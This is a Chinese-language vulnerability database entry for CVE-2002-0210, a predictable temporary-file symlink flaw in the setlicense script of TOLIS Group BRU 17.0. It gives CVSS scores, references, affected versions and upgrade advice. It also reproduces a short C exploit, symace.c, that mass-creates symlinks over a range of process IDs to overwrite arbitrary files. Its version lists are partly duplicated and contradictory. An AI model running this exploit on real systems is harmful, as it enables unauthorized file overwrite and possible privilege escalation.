CVE-2002-0210
CVSS7.2
发布时间 :2002-05-16 00:00:00
修订时间 :2008-09-10 20:00:43
NMCOES    

[原文]setlicense for TOLIS Group Backup and Restore Utility (BRU) 17.0 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/brutest.$$ temporary file.


[CNNVD]BRU SetLicense脚本不安全临时文件符号链接漏洞(CNNVD-200205-045)

        TOLIS Group Backup and Restore Utility (BRU) 17.0版本的setlicense存在漏洞。本地用户借助/tmp/brutest.$$临时文件的符号链接覆盖任意文件。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0210
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0210
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200205-045
(官方数据源) CNNVD

- 其它链接及资源

http://www.iss.net/security_center/static/8003.php
(VENDOR_ADVISORY)  XF  bru-tmp-file-symlink(8003)
http://online.securityfocus.com/archive/1/252614
(VENDOR_ADVISORY)  BUGTRAQ  20020126 bru backup program
http://www.securityfocus.com/bid/3970
(UNKNOWN)  BID  3970

- 漏洞信息

BRU SetLicense脚本不安全临时文件符号链接漏洞
高危 访问验证错误
2002-05-16 00:00:00 2005-10-20 00:00:00
本地  
        TOLIS Group Backup and Restore Utility (BRU) 17.0版本的setlicense存在漏洞。本地用户借助/tmp/brutest.$$临时文件的符号链接覆盖任意文件。

- 公告与补丁

        Tolis Group has fixed this issue in version 17.0.0.0.5, and suggests upgrading to the most recent version available (version 17.0.0.2.1).

- 漏洞信息 (21247)

BRU 17.0 SetLicense Script Insecure Temporary File Symbolic Link Vulnerability (EDBID:21247)
linux local
2002-01-26 Verified
0 Andrew Griffiths
N/A [点击下载]
source: http://www.securityfocus.com/bid/3970/info

BRU is a commercially available backup software infrastructure available for both UNIX and Linux Operating Systems. It is distributed and maintained by the Tolis Group.

When BRU executes, it creates temporary files insecurely. BRU uses easily predicted temporary filename /tmp/brutest.$$ where $$ is the process id of the executing shell. The program also does not check for an already existing file of the same name.

This makes it possible for a local user to launch a symbolic link attack, and could lead to the overwriting of system files, or potentially elevated privileges.

/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com)    */

int main(int argc, char **argv)
{
        char *overwrite;
        char *base;
        int start_pid, end_pid;
        int i, size;

        overwrite = strdup(argv[1]);
        size = strlen(argv[2]) + 8 + 1;
        base = malloc(size);
        start_pid=atoi(argv[3]);
        end_pid=atoi(argv[4]);

        for(i=start_pid;i<end_pid;i++) {
                memset(base, 0, size-1);
                snprintf(base, size-1, "%s%d", argv[2], i);
                if(symlink(overwrite, base)==-1) {
                        printf("Unable to create %s bailing\n", base);
                        exit(EXIT_FAILURE);
                }
        }
        printf("done\n");
}		

- 漏洞信息

14894
BRU setlicense Predictable Temporary File Symlink Arbitrary File Overwrite
Local Access Required Race Condition
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2002-01-27 Unknow
2002-01-27 Unknow

- 解决方案

Upgrade to version 17.0.0.2.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

BRU SetLicense Script Insecure Temporary File Symbolic Link Vulnerability
Access Validation Error 3970
No Yes
2002-01-26 12:00:00 2009-07-11 09:56:00
This vulnerability was announced by Andrew Griffiths <andrewg@tasmail.com> via Bugtraq on January 26, 2002.

- 受影响的程序版本

Tolis Group BRU 17.0 Linux
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Workstation 3.1
- Caldera OpenLinux Workstation 3.1
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 IA-32
- Mandriva Linux Mandrake 8.1 ia64
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.0
- Mandriva Linux Mandrake 8.0
- RedHat Linux 7.2 ia64
- RedHat Linux 7.2 ia64
- RedHat Linux 7.2 i386
- RedHat Linux 7.2 i386
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1 i386
- RedHat Linux 7.1 i386
- RedHat Linux 7.0 i386
- RedHat Linux 7.0 i386
- S.u.S.E. Linux 7.3 i386
- S.u.S.E. Linux 7.3 i386
- S.u.S.E. Linux 7.2 i386
- S.u.S.E. Linux 7.2 i386
- S.u.S.E. Linux 7.1 x86
- S.u.S.E. Linux 7.1 x86
Tolis Group BRU 17.0 .0.2.1
Tolis Group BRU 17.0 .0.0.5

- 不受影响的程序版本

Tolis Group BRU 17.0 .0.2.1
Tolis Group BRU 17.0 .0.0.5

- 漏洞讨论

BRU is a commercially available backup software infrastructure available for both UNIX and Linux Operating Systems. It is distributed and maintained by the Tolis Group.

When BRU executes, it creates temporary files insecurely. BRU uses easily predicted temporary filename /tmp/brutest.$$ where $$ is the process id of the executing shell. The program also does not check for an already existing file of the same name.

This makes it possible for a local user to launch a symbolic link attack, and could lead to the overwriting of system files, or potentially elevated privileges.

- 漏洞利用

This exploit was contributed by Andrew Griffiths &lt;andrewg@tasmail.com&gt;:

- 解决方案

Tolis Group has fixed this issue in version 17.0.0.0.5, and suggests upgrading to the most recent version available (version 17.0.0.2.1).

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站